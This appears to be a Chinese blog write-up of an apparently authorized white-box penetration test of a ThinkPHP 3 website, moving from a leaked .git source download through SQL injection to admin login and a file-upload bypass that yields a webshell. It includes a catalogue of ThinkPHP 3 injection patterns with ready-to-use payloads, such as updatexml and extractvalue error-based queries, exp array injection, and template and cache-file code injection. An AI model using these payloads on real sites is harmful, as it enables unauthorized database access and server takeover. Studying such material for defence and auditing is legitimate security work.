Fork me on GitHub

一次基于白盒的渗透测试

一、事件起因

一次师兄让我检测一下他们开发的网站是否有漏洞,网站是php开发的,最近一直搞java,正好最近有场CTF要打,就顺便看看php.
Alt text

二、获取源码

仔细看他给我发的那张图片,360给这个网站53的评分,仔细看网站存在.git文件泄露,直接用Githack拿到源码。
Alt text

三、确定后台框架

拿到源码后,一看目录就知道是thinkphp框架,再看controller接收参数的函数是I(),确定用的是thinkphp 3的框架。
总结的thinphp 3常见的开发漏洞:

1.where后直接直接拼接会产生注入
$data = M('user')->where("id=".I('id'))->select();
2. table表名函数可控产生注入
M()->table(I('biao'))->where('1=1')->select();  
table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在。
3. field函数可控产生注入
M('user')->field(I('id'))->where('1=1')->select(); 
//SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控导致注入
4. field别名可控存在注入
M('user')->field(array('id','username'=>I('name')))->select(); 
// SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错
5.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制
M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select();
6.order,group,having参数可控
M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();
 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
7.comment注入
M('user')->comment(I('comment'))->where('1=1')->select(); 

 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
8.索引注入
$Model->index(I('user'))->select();
9.query,execute,聚合函数支持原生的sql语句 
M('user')->count(I('par')); //聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
10.exp注入
a.)
$data = array();
$data['user'] = $_POST['username']; 
$data['pass'] = md5($_POST['password']);
M('user')->where($data)->find();
payload: username[0]=exp&username[1]=aa'or 1=1%23&password=1
b.)
$res=M('member')->where(array('id'=>$_GET['userid']))->count();   
payload:userid[0]=exp&userid[1]=aaaaaa
c.)通过I函数exp注入就不存在了
$res = M('member')->where(array('id'=>$I('userid')))->count();
11、参数传递注入 public\s+function\s+[\w_]+\(\$
public function index(/*$id*/)....
if(intval($id)>0)
{
 $data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
 dump($data);
}
12.setInc注入
$user = M("user");
$user->where('id=5')->setInc('sorce'.I('num'));
13.组合注入
$map['id'] = I('id');
$map['_string'] = 'username='."'".I('username')."'"; 
$data = M('user')->where($map)->select();
dump(data);
[url]http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti[/url] 
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
14、_query参数可控
$map['id'] = 5;
$map['_query']='username=afanti&score=10'; 
$data = M('user')->where($map)->select();
dump(data);
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )

15、模板问题
$name = $_GET['name'];
$this->assign($name); 
$this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think
[url]http://127.0.0.1/tp/index.php/home/user/index?name[/url][_content]=<?php system('type index.php');;?>
16、在runtime/key.php
S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
F('key','<?php phpinfo();?>'); 
$this->display();
17.select、find、delete注入
public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }
注入的payload:
table:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
delete方法注入payload:
where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

四、Sql注入漏洞

熟悉完框架和整体目录结构后,直接看controller层的代码。全局搜索下是否用原生的php接收参数.
Alt text
找对应的controller,根据上面总结看是否存在注入。下面只是一处sql注入为例。
Mycourse控制器的listLesson方法$lesson_id参数拼接,进入数据库产生的注入。
Alt text
获取数据库
Alt text
获取表,这网站前台注册个账号,发现功能很少。看代码后台功能很多,自然问题也就不少。
获取数据表可以用注入的方式,我们也可以查看model层的代码。
Alt text
前台注册用户当输入手机和密码就能登陆后台,只要我们获取管理员的就能登陆。
通过注入获取到一个权限是10的账号
Alt text
查看代码,10为管理员,直接通过注入登陆网站后台
Alt text

五、上传漏洞

登陆后台后,看下是否存在上传点。发现好多能上传的地方。对应看后台的代码看是否能上传绕过。
发现createLesson这个方法存在问题。
Alt text
上传操作正常的代码。把后缀限制,上面的代码没有白名单验证。就能够任意文件上传,直接getshell。
Alt text
尝试上传txt文件,前端bootstrap上传框架显示不让上传图片等文件。
Alt text
看代码,这里限制了上传后缀.
Alt text
通过burp绕过限制,上传成功。
Alt text

六、找上传路径

发现这个网站使用的是阿里云的oss云存储。在服务器上应该存在上传的php文件。这就需要具体看上传代码的存储位置。
Alt text
看下upload类,开发人员将thinkphp upload类重写,加了上传到oss的代码
Alt text
具体代码如下,具体跟一下C配置的参加就能获取上传的路径:
Alt text
最后拿到shell

结语

本想着提个权,师兄把权限设置的比较严格,禁用了好多函数,数据库也不是root用户,能力有限,就这样吧。有空把代码通读一下,上面只是以俩个典型洞为例。
话说当拿到源码时,渗透成功率至少提高5成以上。

posted @ 2020-04-08 23:14  Afant1  阅读(1102)  评论(0编辑  收藏  举报